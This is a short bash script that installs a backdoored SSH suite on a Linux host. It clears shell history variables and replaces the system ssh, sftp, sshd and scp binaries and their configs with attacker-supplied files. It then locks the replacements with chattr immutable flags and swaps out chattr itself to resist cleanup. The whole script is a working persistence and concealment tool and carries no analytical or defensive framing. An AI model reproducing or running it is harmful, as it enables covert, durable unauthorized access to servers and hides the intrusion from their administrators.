#!/bin/bash
unset HISTSAVE
unset HISTFILE
unset SAVEFILE
echo "++++ Starting.... ++++"
chattr -suia /usr/bin/ssh
chattr -suia /usr/bin/sftp
chattr -suia /usr/sbin/sshd
chattr -suia /usr/bin/scp
mkdir -p /var/log/rpms
mv /usr/bin/ssh /var/log/rpms/shh
mv /usr/bin/sftp /var/log/rpms/sf
mv /usr/sbin/sshd /var/log/rpms/ss
mv /usr/bin/scp /var/log/rpms/sc
rm -rf /etc/ssh/sshd_config
rm -rf /etc/ssh/ssh_config
mv libcrypto.so.0.9.8 /usr/lib/libcrypto.so.0.9.8
echo "[+] Installing SshD backdor..[+]"
mv ssh /usr/bin/ssh
mv sftp /usr/bin/sftp
mv sshd /usr/sbin/sshd
mv scp /usr/bin/scp
mv 1 /etc/ssh/sshd_config
mv 2 /etc/ssh/ssh_config
chattr +suia /usr/bin/ssh 
chattr +suia /usr/bin/sftp
chattr +suia /usr/sbin/sshd
chattr +suia /usr/bin/scp
mv /usr/bin/chattr /usr/sbin/.chattr
mv chattr /usr/bin/chattr
/usr/sbin/.chattr +suia /usr/bin/chattr


echo "Restart SshD deamon manualy "



